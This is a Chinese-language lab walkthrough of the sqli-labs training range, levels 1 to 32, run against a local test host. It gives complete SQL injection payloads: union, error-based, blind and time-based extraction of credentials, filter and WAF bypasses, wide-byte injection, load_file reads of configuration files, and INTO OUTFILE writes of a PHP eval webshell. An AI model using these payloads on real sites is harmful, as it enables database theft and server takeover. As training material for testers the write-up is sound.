sqli-labs靶场分析

sqli-labs靶场分析

1、level1

单引号测试报错,为单引号闭合,且显示1多了个单引号故而为字符型注入。且未对用户输入进行任何过滤。

sqli-labs靶场分析_第1张图片
sqli-labs靶场分析_第2张图片

且SQL语句错误会输出,可以使用报错注入

sqli-labs靶场分析_第3张图片

order by判断表列数

sqli-labs靶场分析_第4张图片
sqli-labs靶场分析_第5张图片

uoion 联合查询,因为网页只显示第一张表的数据,因此需要union前的语句为假,查出数据为空,把位置让给第二张表显示

判断显示位置

sqli-labs靶场分析_第6张图片

靶union select 1,2,3 中的2和3替换为SQL语句即可查询到任意内容,示例查询库名和用户名

sqli-labs靶场分析_第7张图片

查询数据库中的表,下面查询的是当前数据库

http://192.168.110.129/sqli-labs/Less-1/?id=-1%27union%20select%201,2,group_concat(table_name)%20from%20information_schema.tables%20where%20table_schema=database()--+

如果要查询其他数据库把上面最后的database()换成相应的库名即可,示例:····table_schema=information_schema

sqli-labs靶场分析_第8张图片

查询表中字段

http://192.168.110.129/sqli-labs/Less-1/?id=-1%27union%20select%201,2,group_concat(column_name)%20from%20information_schema.columns%20where%20table_name=%27users%27--+

sqli-labs靶场分析_第9张图片

查字段内容

http://192.168.110.129/sqli-labs/Less-1/?id=-1%27union%20select%201,2,group_concat(username)%20from%20users--+

sqli-labs靶场分析_第10张图片

http://192.168.110.129/sqli-labs/Less-1/?id=-1%27union%20select%201,2,concat(username,%27:%27,password)%20from%20users--+

sqli-labs靶场分析_第11张图片

SQL注入写入webshell,getshell

http://192.168.110.129/sqli-labs/Less-1/?id=-1%27%20union%20select%201,2,%27%3C?php%20@eval($_REQUEST[777]);?%3E%27%20into%20outfile%20%27C:\\phpstudy\\PHPTutorial\\www\\webshell.php%27%20--+

sqli-labs靶场分析_第12张图片

写文件前需要判断是否有写权限以及绝对路径

and (select count(*) from mysql.user)>0 /如果结果返回正常,说明具有读写权限./

and (select count() from mysql.user)>0 / 返回错误,应该是管理员给数据库账户降权了*/

@@datadir 读取数据库路径

@@basedir MYSQL 获取安装路径

SQL读文件,示例读mysql配置文件

http://192.168.110.129/sqli-labs/Less-1/?id=-1%27%20union%20select%201,2,load_file(%22C:\\phpStudy\\PHPTutorial\\MySQL\\my.ini%22)%20--+

sqli-labs靶场分析_第13张图片

也可以使用报错注入、布尔盲注、延时注入

sqli-labs靶场分析_第14张图片

 Payload: id=1' AND 6510=6510 AND 'svdH'='svdH
 Payload: id=1' AND (SELECT 6607 FROM (SELECT(SLEEP(5)))MIbw) AND 'DBGj'='DBGj

2、level 2

报错显示语句中多了个单引号,1没有当作错误爆出。故而是数字型(整数型)注入。

在这里插入图片描述

未对输入的id值进行任何过滤

sqli-labs靶场分析_第15张图片

注入手法以level基本一样,只是id值1不用引号闭合

示例:

http://192.168.110.129/sqli-labs/Less-2/?id=-1%20union%20select%201,2,3%20--+

sqli-labs靶场分析_第16张图片

3、level 3

根据单引号测试报错显示应该为单引号和括号组合的闭合方式,且为字符型

sqli-labs靶场分析_第17张图片

依旧没对输入的id值做任何过滤

sqli-labs靶场分析_第18张图片

注入手法与level 1类似,不过要加上括号闭合

http://192.168.110.129/sqli-labs/Less-3/?id=-1%27)%20union%20select%201,2,database()%20--+

sqli-labs靶场分析_第19张图片

闭合后SQL语句如下:

  $sql="SELECT * FROM users WHERE id=('-1') union select 1,2,3 --+') LIMIT 0,1";

4、level 4

单引号测试无反应,双引号测试报错如下。

sqli-labs靶场分析_第20张图片

由报错内容可知为字符型注入,闭合方式为双引号加括号

sqli-labs靶场分析_第21张图片

依旧未对输入id值过滤,仅是加上双引号后再拼接到SQL语句

注入手法与level 1类似,仅闭合方式不一样

http://192.168.110.129/sqli-labs/Less-4/?id=-1%22)%20union%20select%201,2,database()%20--+

sqli-labs靶场分析_第22张图片

5、level 5

由单引号测试结果可知为字符型注入,单引号闭合

sqli-labs靶场分析_第23张图片

依旧没有对输入过滤,但没有对查询结果输出。因此不能使用联合查询。但可是使用报错注入、布尔盲注、延时注入

sqli-labs靶场分析_第24张图片

注入手法与level 1类似,但不能使用联合查询

XPATH报错(5.0版本以下不支持)

使用extractvalue(),中间的select database() 可以换成任意语句

http://192.168.110.129/sqli-labs/Less-5/?id=-1%27and%20extractvalue(1,concat(%27^%27,(select%20database()),%27^%27))%20--+

示例:显示所有表名

http://192.168.110.129/sqli-labs/Less-5/?id=-1%27and%20extractvalue(1,concat(%27^%27,(select%20group_concat(table_name)%20from%20information_schema.tables%20where%20table_schema=database()),%27^%27))%20--+

在这里插入图片描述

使用updatexml(),中间的语句也可以任意

http://192.168.110.129/sqli-labs/Less-5/?id=-1%27%20and%20updatexml(1,concat(%27^%27,(select%20version()),%27^%27),1)%20--+

sqli-labs靶场分析_第25张图片

group by重复键冲突(或者floor()报错)

concat中第一个参数可以是任意SQL语句,如下是查数据库名

http://192.168.110.129/sqli-labs/Less-5/?id=-1%27%20and%20(select%201%20from%20(select%20count(*),concat((select%20database()),floor(rand()*2))%20x%20from%20information_schema.tables%20group%20by%20x)a)%20--+

sqli-labs靶场分析_第26张图片

此处可以使用union写webshell只不过没有回显罢了,以下展示非union 写webshell的方法 。payload如下:

http://192.168.110.129/sqli-labs/Less-5/?id=1%27%20into%20outfile%20%27C:\\phpstudy\\PHPTutorial\\www\\webshell.php%27%20lines%20terminated%20by%200x3c3f70687020406576616c28245f4745545b27636d64275d293b3f3e --+

将要写入的一句话转换成16进制

拼接后SQL语句如下:

SELECT * FROM users WHERE id='$id' into outfile 'C:\\phpstudy\\PHPTutorial\\www\\webshell.php' lines terminated by 0x3c3f70687020406576616c28245f4745545b27636d64275d293b3f3e --+' LIMIT 0,1 

成功写入

sqli-labs靶场分析_第27张图片

6、level 6

单引号测试无果,双引号测试报错。由报错可知为字符型注入,且为双引号闭合

在这里插入图片描述

依旧未对输入进行过滤,仅对输入的id加上了双引号再拼接到SQL语句中。且查询结果不显示

sqli-labs靶场分析_第28张图片

注入方法与level 5一致,不过单引号闭合换成双引号闭合。可以使用报错注入、延时注入和布尔盲注。

报错注入获得表名

http://192.168.110.129/sqli-labs/Less-6/?id=1%22%20and%20extractvalue(1,concat(%27^%27,(select%20group_concat(table_name)%20from%20information_schema.tables%20where%20table_schema=database()),%27^%27))%20--+

sqli-labs靶场分析_第29张图片

7、level 7

单引号测试显示语句有错但不显示具体,双引号测试不显示语句有错。,单双引号配合使用也显示语句有错。推测程序是自定义了各种错误,规避了报错注入。

当用1‘))闭合时才正常显示。

sqli-labs靶场分析_第30张图片

分析源代码发现确实如此

sqli-labs靶场分析_第31张图片

只能使用延时注入和布尔盲注。以下演示布尔盲注,延时注入与布尔盲注类似,延时注入要加if判断而已。

获取数据库长度

sqli-labs靶场分析_第32张图片
sqli-labs靶场分析_第33张图片
sqli-labs靶场分析_第34张图片

依次获取数据库名中单个字符,一般转化为ascll码

http://192.168.110.129/sqli-labs/Less-7/?id=1%27))%20and%20ascii(substr(database(),1,1))=1%20--+
参数说明:
Length()函数 返回字符串的长度
Substr()截取字符串,三个参数依次为要截取的字符串、截取位置(第几个)、要截取个数
Ascii()返回字符的ascii码
sleep(n):将程序挂起一段时间 n为n秒
if(expr1,expr2,expr3):判断语句 如果第一个语句正确就执行第二个语句如果错误执行第三个语句

也可以不转换为ascll码

and mid(database(),1,1)=‘d’ # 判断单个字符
and substr(database(),1,1)=‘d’ # 判断单个字符
and ord(substr((select database()),1,1))=98 # 使用ascii码判断单个字符
and ascii(substr((select database()),1,1))=98 # 使用ascii判断单个字符
and left(database(),4)=‘dvwa’ # 判断一个字符串,即多个字符

这类注入一般都使用工具使用sqlmap或者是Burp。也可以自己写脚本。

使用burp得到数据库名的ascii码值,对照ascii表得到数据库名:security

sqli-labs靶场分析_第35张图片
sqli-labs靶场分析_第36张图片

由于windows系统对大小写不敏感,所以不转ascii码无法正确判断数据库名的大小写问题

sqli-labs靶场分析_第37张图片

获得数据库第一个表的长度,得到长度等于6

and (select length(table_name) from information_schema.tables where table_schema=database() limit 0,1)>0

参数说明:limit后面的0表顺序第1位,1表个数,1个结果

sqli-labs靶场分析_第38张图片

依次获得表名,,也可以转换为ascii码

and substr((select table_name from information_schema.tables where table_schema=database() limit 0,1),1,1)='a'

第一个:emails

sqli-labs靶场分析_第39张图片

第四个(修改limit 3,1):表长5,表名:users

sqli-labs靶场分析_第40张图片

获得字段名

and ascii(substr((select column_name from information_schema.columns where table_name=0x656d61696c73 limit 0,1),1,1))=60

sqli-labs靶场分析_第41张图片
sqli-labs靶场分析_第42张图片

写文件方法就任意了

提示有错但webshell已经写进去了
http://192.168.110.129/sqli-labs/Less-7/?id=1%27))%20into%20outfile%20%27C:\\phpstudy\\PHPTutorial\\www\\webshell.php%27%20lines%20terminated%20by%200x3c3f70687020406576616c28245f4745545b27636d64275d293b3f3e%20--+
拼接后SQL注入语句如下:
SELECT * FROM users WHERE id=(('$id')) into outfile 'C:\\phpstudy\\PHPTutorial\\www\\webshell.php' lines terminated by 0x3c3f70687020406576616c28245f4745545b27636d64275d293b3f3e --+')) LIMIT 0,1 

sqli-labs靶场分析_第43张图片
sqli-labs靶场分析_第44张图片

8、level 8

单引号测试,页面不正常无输出。输入双引号页面正常与输入id值1页面一致。推测为单引号闭合方式。

sqli-labs靶场分析_第45张图片

依旧没有对输入进行任何过滤且查询结果和sql错误都不显示。

sqli-labs靶场分析_第46张图片

注入手法可以使用布尔盲注和延时注入,与level 7类似。不过这里正确是页面显示You are in… ,错误则页面不显示

http://192.168.110.129/sqli-labs/Less-8/?id=1%27%20and%20if((length(database())=8),sleep(5),1)--+

参数说明:
if(expr1,expr2,expr3):判断语句 如果第一个语句正确就执行第二个语句如果错误执行第三个语句

sqli-labs靶场分析_第47张图片

对比布尔盲注,延时注入的判别标准是观察响应是否延时。注入方法与布尔盲注非常相似。

sqli-labs靶场分析_第48张图片

获取第一个表名:emails

http://192.168.110.129/sqli-labs/Less-8/?id=1%27%20and%20if((substr((select%20table_name%20from%20information_schema.tables%20where%20table_schema=database()%20limit%200,1),1,1)=%27e%27),sleep(5),1)%20--+

sqli-labs靶场分析_第49张图片

9、level 9

直接使用单双引号括号等测试,页面无变化。在测试符号后面添加and sleep(5) --+,如果成功闭合前面的语句,则会执行sleep(5),利用延时注入的原理判断闭合方式。

sqli-labs靶场分析_第50张图片
sqli-labs靶场分析_第51张图片

可以看出单引号成功闭合

查看源代码发现对于输入的id值没有任何过滤,闭合方式为单引号,查询结果不显示,SQL语句错误与否页面显示内容不变

sqli-labs靶场分析_第52张图片

因为页面显示无差异,且查询结果和报错不显示在页面,因此只能使用延时注入。注入方法与level 8 延时注入一致

判断字符串长度

http://192.168.110.129/sqli-labs/Less-9/?id=1%27%20and%20if(length(database())=8,sleep(5),1)%20--+

sqli-labs靶场分析_第53张图片

10、level 10

测试情况与level 9类似,测得闭合方式为双引号

sqli-labs靶场分析_第54张图片

源代码与level 9差不多,就单单闭合方式不一样。

sqli-labs靶场分析_第55张图片

查询结果和报错都显示,页面无差异化。只能使用延时注入

查询数据库长度

sqli-labs靶场分析_第56张图片

注入过程参照level 7 和level 8

11、level 11

页面是一个登录框,对uname和passwd参数进行单引号测试引起报错。由报错内容可知为单引号闭合

sqli-labs靶场分析_第57张图片

查看源代码,发现未对输入的umane和passwd参数进行过滤,且如果输入正确(登陆成功)会将查询结果输出到页面,两个参数都可以注入。

可以使用联合查询、延时注入、布尔盲注和延时注入。联合查询注入过程可以参照level 1

order by查询表列数

Dumb ' order by 2 #
Dumb 

sqli-labs靶场分析_第58张图片
sqli-labs靶场分析_第59张图片

得到列为2

判断显示位置

' union select 1,2 #
Dumb

sqli-labs靶场分析_第60张图片

查询数据库名

' union select 1,database() #
Dumb

sqli-labs靶场分析_第61张图片

查数据库表名

' union select 1,group_concat(table_name) from information_schema.tables where table_schema=database() #
Dumb

sqli-labs靶场分析_第62张图片

写webshell

' union select 1, '' into outfile 'C:\\phpstudy\\PHPTutorial\\www\\webshell.php' #
Dumb

成功写入

sqli-labs靶场分析_第63张图片

读文件:读取mysql配置文件

' union select 1,load_file('C:\\phpStudy\\PHPTutorial\\MySQL\\my.ini') #
Dumb

sqli-labs靶场分析_第64张图片

其他注入手法

报错注入payload
Dumb ' and extractvalue(1,concat('^',(select database()),'^')) #
Dumb
延时注入payload
Dumb ' and if((length(database())=8),sleep(5),1) #
Dumb 
布尔盲注payload
Dumb ' and length(database())=8 #
Dumb 

**注意:**布尔盲注如果and后面语句成立的话会直接登录。这就是万能密码的原理

12、level 12

双引号括号测试报错,由报错可知为双引号括号闭合

sqli-labs靶场分析_第65张图片

源代码与level 11类似,除了闭合方式不一样

sqli-labs靶场分析_第66张图片

注入手法也与level 11,差不多联合查询、报错注入、延时注入和布尔盲注都可,但要注意闭合方式

查询数据库名

") union select 1,database() #
Dumb

sqli-labs靶场分析_第67张图片

13、level 13

单引号测试报错,由报错结果可知为单引号加括号的闭合方式

sqli-labs靶场分析_第68张图片

源代码与level 11 类似,除了闭合方式不一样外,用户名和密码正确登录后不会显示查询结果。所以这里不能使用联合查询的方式注入。可以使用报错注入、延时注入和布尔盲注

sqli-labs靶场分析_第69张图片

使用报错注入获取所有表名

Dumb ') and extractvalue(1,concat('^',(select group_concat(table_name) from information_schema.tables where table_schema=database()),'^')) #
Dumb

sqli-labs靶场分析_第70张图片

报错注入具体过程可以参照level 5

14、level 14

双引号测试报错,由报错提示可知为双引号闭合方式

sqli-labs靶场分析_第71张图片

源代与level 13差不多,除了闭合方式外。成功登录后不显示查询结果因此也不能使用联合查询。

sqli-labs靶场分析_第72张图片

可以使用报错注入、延时注入和布尔盲注。可以参照level 11

报错注入获取所有表名

Dumb " and extractvalue(1,concat('^',(select group_concat(table_name) from information_schema.tables where table_schema=database()),'^')) #
Dumb

sqli-labs靶场分析_第73张图片

15、level 15

测试情况与level 9类似,同样不输出报错。在测试符号后面加上and sleep(5) #。测得闭合方式为单引号

Dumb ' and sleep(5) #
Dumb

sqli-labs靶场分析_第74张图片

源代码注释掉了打印sql错误的语句,且登录后也不显示查询结果。所以只能使用延时注入和布尔盲注,具体参照level 7和level 9

延时注入判断数据库名长度为8

Dumb ' and if((length(database())=8),sleep(5),1) #
Dumb

sqli-labs靶场分析_第75张图片

布尔盲注判断数据库名长度,成功登录,长度为8

Dumb ' and length(database())=8 #
Dumb

sqli-labs靶场分析_第76张图片

16、level 16

测试同样不显示报错,可以像level 15一样使用sleep。其实还可以使用加上and 1=1 # ,如果猜对了闭合方式就可以登录,level 15也是。

测试得到闭合方式为双引号括号

Dumb ") and 1=1 #
Dumb

sqli-labs靶场分析_第77张图片

源代码除了采用双引号括号的闭合方式外,与level 15一致。只能使用布尔盲注和延时注入获得数据。

sqli-labs靶场分析_第78张图片

具体注入参照level 15

17、level 17

单引号测试发现,uname参数好像无法注入,一旦加上测试语句会返回一条嘲讽的的话“bug of you silly dumb hacker”即“你这个愚蠢愚蠢的黑客”。但passwd可以,单引号测试报错。由报错结果可知为单引号闭合。

sqli-labs靶场分析_第79张图片

查看源码发现,对输入的uname参数值传入了check_input 函数

sqli-labs靶场分析_第80张图片

这个函数截取输入值的前15位,并转义特殊符号或强制转化为整数类型。

sqli-labs靶场分析_第81张图片

passwd参数没有传入检查函数,程序会将sql错误输出到页面,可以使用报错注入

sqli-labs靶场分析_第82张图片

爆错注入获取表名

Dumb
Dumb ' and extractvalue(1,concat('^',(select group_concat(table_name) from information_schema.tables where table_schema=database()),'^')) #

sqli-labs靶场分析_第83张图片

18、level 18

对用户名和密码测试后没有什么发现,看到页面显示you ip address is:192.168.110.1 。猜测注入点可能在http请求头那个位置。

sqli-labs靶场分析_第84张图片

当用户名和密码输入正确后,页面会显示UA信息

在这里插入图片描述

大概率注入点就在UA处了,在User-Agent参数处测得存在注入,闭合方式为单引号。

sqli-labs靶场分析_第85张图片

查看源码,uname和passwd都传入了检查函数。

sqli-labs靶场分析_第86张图片

ua和ip的值是直接获取

在这里插入图片描述

而且需要用户名和密码正确才会进入到UA参数所在的SQL语句中。

sqli-labs靶场分析_第87张图片

这里可以使用报错注入

1',1,extractvalue(1,concat(0x7e,(select group_concat(table_name) from information_schema.tables where table_schema=database()),0x7e)))#

sqli-labs靶场分析_第88张图片

19、level 19

与level 18类似,登录后页面多显示了Referer信息,注入点应该是它了

sqli-labs靶场分析_第89张图片

测得闭合方式为单引号

sqli-labs靶场分析_第90张图片

对于Referer依旧未做任何过滤

sqli-labs靶场分析_第91张图片
sqli-labs靶场分析_第92张图片

可以使用报错注入

1',extractvalue(1,concat(0x7e,(select group_concat(table_name) from information_schema.tables where table_schema=database()),0x7e)))#

sqli-labs靶场分析_第93张图片

20、level 20

登录后可以看出,这里的注入应该与cookie有关

sqli-labs靶场分析_第94张图片

抓包测试,测得为单引号闭合方式

sqli-labs靶场分析_第95张图片

对于uname和paswd参数依旧是传入检查函数,除cookie外在无任何参数插入到了SQL语句中去。

在这里插入图片描述

对于cookie程序没有做任何过滤

sqli-labs靶场分析_第96张图片

可以使用报错注入

'and updatexml (1,concat(0x5c,(select group_concat(table_name) from information_schema.tables where table_schema=database()),0x5c),1)#

sqli-labs靶场分析_第97张图片

此外利用cookie查询到的结果,会显示在页面上。用户名密码等

sqli-labs靶场分析_第98张图片

从源码中可看出,如果通过cookie查到了该用户的信息。会显示name、passwd、id三个结果。这里可以猜测查询结果的表有三列,因为查询结果会显示所以可以使用联合查询

sqli-labs靶场分析_第99张图片

测试一下有几列:-Dumb ’ order by 4 --+

sqli-labs靶场分析_第100张图片

4时报错,改为3就不报错了。确实是三列。那刚好三个位置都会显示,所以就不用测显示位置了:-Dumb ’ union select 1,database(),@@datadir --+

sqli-labs靶场分析_第101张图片

除了报错注入和联合查询外,还可以使用布尔盲注和延时注入

Dumb ' and length(database())=8 --+
Dumb ' and if(length(database())=8,sleep(5),1) --+

21、level 21

这里与level 20 一样都是cookie的位置存在SQL注入,但这里的cookie值是经过base64加密的。因此测试时要将payload编码处理。

sqli-labs靶场分析_第102张图片

考虑到兼容性的问题php程序对测试语句编码。这里单引号测试为单引号加括号的闭合方式。

源程序对cookie为做过滤,但先base64解码后再拼接到SQL语句中。语句报错会输出到页面,可以使用报错注入。

sqli-labs靶场分析_第103张图片

语句报错会输出到页面,可以使用报错注入。

查询用户表中的用户,显示不全。payload需base64编码
admin') and updatexml (1,concat(0x5c,(select group_concat(username) from users),0x5c),1) --+

sqli-labs靶场分析_第104张图片

与level 20一样联合查询、布尔盲注和延时注入也是可以的,注意要把payload编码。

22、level 22

与level 1一样注入点在cookie位置上,且使用了base64编码。测得为双引号闭合方式

sqli-labs靶场分析_第105张图片

与leve1 21相比仅闭合方式不一样,源代码其他地方都差不多。

sqli-labs靶场分析_第106张图片

可以使用报错注入、联合查询、布尔盲注和延时注入。注意需要对payload进行编码。

联合查询注入得到用户名

1 " union select 1,(select group_concat(username) from users),group_concat(password) from users --+

sqli-labs靶场分析_第107张图片

23、level 23

使用单引号测试,页面报错。由报错可以看出确实是单引号闭合。

sqli-labs靶场分析_第108张图片

尝试使用 --、#注释掉插入sql语句后面的语句,发现不起作用。应该是程序过滤了注释符。使用and ‘1’='1 代替注释符,闭合掉后面的语句。

sqli-labs靶场分析_第109张图片

查看源代码发现,除了过滤了id值的’–‘、’#'。代码与level 1一样。所以二者的注入手法也一致,唯一不同的是不能用注释符注释掉后面的语句。

sqli-labs靶场分析_第110张图片

注入我们可以使用联合查询、报错注入、布尔盲注和延时注入。

注意:这里用不了order by。只能select 一个个试。4不行,3刚好可以:union select 1,2,3 and ‘1’='1

sqli-labs靶场分析_第111张图片

这里的3,2,1只有2是可以显示在页面上的。下面的1表示后面等式是否成立。

报错注入,可以使用两个and

http://192.168.110.129/sqli-labs/Less-23/?id=3%27%20and%20extractvalue(1,concat(%27^%27,(select%20@@datadir),%27^%27))%20and%20%271%27=%271

sqli-labs靶场分析_第112张图片

24、level 24

一个登录页面,一个新用户注册页面,猜测应该是二次注入。引号测试。首先尝试注册admin ’ 用户,登录后修改密码,发现无法修改(不跳转到修改成功页面,一直卡着)。再注册admin ‘’ ,登录后成功修改密码。猜测为单引号闭合方式的用户名二次注入。

注册一个admin ’ # 的用户,的登录后修改密码。修改为111

sqli-labs靶场分析_第113张图片

尝试登录admin,使用密码 111

sqli-labs靶场分析_第114张图片

成功登录。

查看源码,发现登录页面和注册页面都对账号和密码进行了转义。

mysql_real_escape_string函数

sqli-labs靶场分析_第115张图片

注册页面:

sqli-labs靶场分析_第116张图片

登录页面:

sqli-labs靶场分析_第117张图片

修改密码页面是直接获取到当前用户名未做任何过滤直接插如到SQL语句中

sqli-labs靶场分析_第118张图片

被污染的数据admin ’ # 从数据库中取出后直接传入sql语句中,导致where 后面password条件语句被注释掉。使得修改了admin用户的密码。

25、level 25

单引号测试,页面报错,有错误提示可知为单引号闭合。

sqli-labs靶场分析_第119张图片

根据页面提示以及测试发现这里过滤了 and 和 or

sqli-labs靶场分析_第120张图片

尝试双写看能不能绕过 :oorr、anandd、aandnd、oorrder by

sqli-labs靶场分析_第121张图片
sqli-labs靶场分析_第122张图片

联合查询户名和数据库绝对路径。其他注入手法也可以,但要注意双写关键字

?id=-1%27%20union%20select%201,(select%20group_concat(username)%20from%20users),@@datadir%20--+

sqli-labs靶场分析_第123张图片

源码将关键字 and 和 or 置换为空,也就是过滤掉了

sqli-labs靶场分析_第124张图片
sqli-labs靶场分析_第125张图片

可以看到将id值传入了blacklist 函数,preg_replace 将or和and置换为空。

**注意:**关键字被过滤除了双写还可以使用符号例如:||和&&代表and和or。还可以大小写混写,示例:AnD、UNion

26、level 25a

单双引号测试报错,但不显示错误位置,不太好判断。有经验的可能能猜到是数字型注入

在这里插入图片描述

和level 25差不多,但这里的id值是数字型的,不需要单引号包裹。注入的时候得注意

sqli-labs靶场分析_第126张图片
在这里插入图片描述

依旧是过滤了and和or关键字,所以得双写绕过。注入参考level 25

27、level 26

测试结果为单引号闭合

sqli-labs靶场分析_第127张图片

测试发现过滤了关键字and、or和注释符–、# 以及空格

sqli-labs靶场分析_第128张图片

查看源码发现还过滤了一些其他符号,其中\s表示任何空白字符(比如换行符、制表符等等)

sqli-labs靶场分析_第129张图片
sqli-labs靶场分析_第130张图片

and和or 可以双写绕过也可以使用&&和||替换,注释符可以使用:and ‘1’='1 代替。常见的替代空格的字符有:/**/ () + ` \t

绕过方法如下:

  • 编码绕过:

    • %09 TAB键(空格)
    • %0A 新建一行(空格)
    • %0C 新的一页
    • %0D return即回车功能 (php-5.2.17,5.3.29成功)
    • %0B TAB键(垂直)
    • %A0 空格 (php-5.2.17成功)

    注意:编码绕过空格过滤得看具体环境

  • 括号绕过:用()绕过,意思就是不使用任何空格

示例:报错注入

使用括号代替空格,逻辑符号代替and关键字:
id=1'&&extractvalue(null,concat(0x7e,(select(group_concat(username,'~',password))from(security.users)),0x7e))||'1

逻辑符号需要url编码
id=1%27%26%26extractvalue(null,concat(0x7e,(select(group_concat(username,%27~%27,password))from(security.users)),0x7e))%7c%7c%271

sqli-labs靶场分析_第131张图片

单引号闭合达到注释效果

id=1%27anandd(extractvalue(null,concat(0x7e,(select(group_concat(username,%27~%27,passwoorrd))from(security.users)),0x7e)))anandd%271%27=%271

在这里插入图片描述

分号配合%00达到注释效果:

布尔和延时:
?id=1%27anandd(1=1);%00

sqli-labs靶场分析_第132张图片

28、level 26a

利用;%00当作注释符,发现单引号测试报错,双引号测试和单引号括号测试都不报错。不是很好判断

查看源代码发现为单引号加括号的闭合方式,页面不显示报错不能用报错注入

sqli-labs靶场分析_第133张图片

和level 26一样过滤了and、or、注释和空格。

sqli-labs靶场分析_第134张图片

示例布尔盲注(延时注入和这差不多)

id=1%27)anandd(length(database())=8);%00

sqli-labs靶场分析_第135张图片

29、level 27

单引号测试,页面报错。由报错提示可知为单引号闭合方式

sqli-labs靶场分析_第136张图片

测试发现过滤了union、select关键字,过滤了注释和空格。

sqli-labs靶场分析_第137张图片
sqli-labs靶场分析_第138张图片

这里可以采用双写或者大小写混写关键字绕过。联合查询、报错注入、布尔盲注、延时注入都可以。这里还可以使用%0a代替空格

联合查询:

id=222%27%0aUNion%0aSElecT%0a1,database(),user();%00

sqli-labs靶场分析_第139张图片

报错注入:

id=2%27and(extractvalue(null,concat(0x7e,(sEleCT(group_concat(username,%27~%27,password))from(security.users)),0x7e)));%00

sqli-labs靶场分析_第140张图片

布尔或延时:

id=1'%0aand%0a1=1%0aand'1'='1

注意:对了这里除%0a可以当空格外,其他url编码应该也是可以的。测试%0A可以当括号

30、level 27a

单引号测试不报错,双引号测试报错。应该是双引号闭合。

sqli-labs靶场分析_第141张图片

过滤情况与level 27一致

sqli-labs靶场分析_第142张图片
sqli-labs靶场分析_第143张图片

注入情况和level 27差不多,不过这里是双引号闭合,而且报错注入不能用了,这里不输出报错信息。

示例:联合查询数据并写webshell

id=222"%0aununionion%0aSelEcT%0a@@datadir,user(),0x3c3f706870206576616c28245f4745545b27636d64275d293b203f3e%0ainto%0aoutfile%0a%27C:\\phpstudy\\PHPTutorial\\www\\webshell.php%27%0a;%00

页面虽然报错,但文件还是写进去了。连带查询结果也写进去了

一个忠告:写文件时文件内容转换为16进制能够避免很多麻烦

sqli-labs靶场分析_第144张图片
sqli-labs靶场分析_第145张图片

示例:联合查询读文件

id=222"%0aununionion%0aSelEcT%0a1,2,load_file("C:\\phpStudy\\PHPTutorial\\MySQL\\my.ini");%00

sqli-labs靶场分析_第146张图片

31、level 28

与level 27和27a差不多,不过这里是单引号括号闭合方式,不是很好判断。

sqli-labs靶场分析_第147张图片
在这里插入图片描述

报错注入用不了,代码注释了错误输出。而且要注意,这里过滤的是:union select组合,实测直接大写小混写不行。所以这里要双写这个组合:
示例:unionunion%0aselect%0aselect

id=222%27)%0aunionunion%0aselect%0aselect%0a1,database(),3;%00

sqli-labs靶场分析_第148张图片

其他注入可以参照27和27a,类似

32、level 28a

闭合方式不太好判断,测试情况和level 28一样。那应该是单引号括号闭合。

sqli-labs靶场分析_第149张图片

依旧是过滤 union select 组合,但空格和注释好像没被过滤。

查看源码,确实只过滤了union select组合。双写这个组合绕过。

sqli-labs靶场分析_第150张图片

这里代码和28差不多,而且过滤更不严格。

id=-1') unionunion select select 1,database(),3 --+

sqli-labs靶场分析_第151张图片

33、level 29

这里是 基于WAF的一个错误引起的SQL注入,源代码level 29文件夹里有三个php文件,默认访问这个文件夹的index.php但这个文件是没有接入“WAF”的。应该指定访问login.php。

单引号测试被WAF拦截直接跳转到hacked.php页面。

sqli-labs靶场分析_第152张图片

源代码对id的值进行了校验必须是数字

sqli-labs靶场分析_第153张图片
sqli-labs靶场分析_第154张图片
sqli-labs靶场分析_第155张图片

  • foreach循环

第一方式 foreache($qs_array as $val)

这里的$qs_array就是需要遍历的数组名,每次循环时,$qs_array数组的当前元素的值被赋值给$val,并且数组的会逐次向后移动一步,即下次循环得到另一个元素;

第二方式 foreache($qs_array as $key => $val)

第二种和第一种不同的是多了一个key,key代表键值也是下标(比如:name[0]='张三’中的[0]就是下标值),在这样的循环下,不仅要将当前元素赋予$val,也要把当前的键职赋值给$key

来看看第二种格式,第二种格式除了能像第一种格式一样得到数组内元素的值外,还能得到元素的索引值,并保存到$key变量中,如果数组的索引值未经过人工设定,则返回系统默认的设定值。

  • WAF运行规则

根据其中代码逻辑,WAF 会检测 id 是否为数字,如果不是一律转向 hacked.php。但是程序 没有考虑当 id 多次赋值的情况,它只对第一次的 id 进行了测试,如果传入多个 id,(如id=1&id=1&id=…)那么后 面的 id 则存在注入漏洞。

  • http参数污染

    **HTTP参数污染原理:**通常在一个请求中,同样名称的参数只会出现一次。但是在HTTP协议中是允许同样名称的参数出现多次的。针对同样名称的参数出现多次的情况,不同的服务器的处理方式会不一样:

    [外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-QxxdomZQ-1679104162982)(img/webp.webp)]

  • 绕过

    这里可以使用参数污染绕过,就是传入多个id。(如id=1&id=1&id=…)。第一个 id要符合WAF的放行规则,必须是数字。

    第一个id的值符合规则,WAF放行。但 $_GET获取的是最后个id参数,并直接传入SQL语句中执行,如果最后一个参数插入注入语句 ,就会绕过WAF造成SQL注入。

sqli-labs靶场分析_第156张图片

示例:(报错、布尔、延时这里都可)

id=1&id=-1%27%20%20union%20%20select%201,2,@@datadir%20--+

sqli-labs靶场分析_第157张图片

34、level 30

这里和29一样,不过这里是双引号闭合。

sqli-labs靶场分析_第158张图片

示例:

id=1&id=-1"%20union%20select%201,2,@@datadir%20--+

sqli-labs靶场分析_第159张图片

35、level 31

这里与level 29、30 一样,闭合方式不一样这里是双引号括号闭合

sqli-labs靶场分析_第160张图片

示例:

id=1&id=-1")%20union%20select%201,2,@@datadir%20--+

在这里插入图片描述

36、level 32

使用单引号测试发现,被转义了(即前面加了个反斜杠)。

sqli-labs靶场分析_第161张图片

这里将斜杠、单引号、双引号都转义了

sqli-labs靶场分析_第162张图片

preg_replace是PHP中用来执行正则表达式的匹配以及替换的函数。可以返回一个正则表达式转换后的值。

preg_quote() 以 str 为参数并给其中每个属于正则表达式语法的字符前面加上一个反斜线。如果你需要以动态生成的字符串作为模式去匹配则可以用此函数转义其中可能包含的特殊字符。

并且设置数据库字符集为gbk

sqli-labs靶场分析_第163张图片

因此这里可以使用宽字符注入,示例:%df与反斜杠即%5c按照gbk编码规则可以组成一个汉字”運“,这就相当于消除了单引号前的转义符

sqli-labs靶场分析_第164张图片

需要将浏览器编码设置为gbk,才能看到效果

sqli-labs靶场分析_第165张图片

这里注入可以使用报错、布尔、延时和联合查询

id=-1%df%27%20union%20select%201,2,user()%20--+

sqli-labs靶场分析_第166张图片

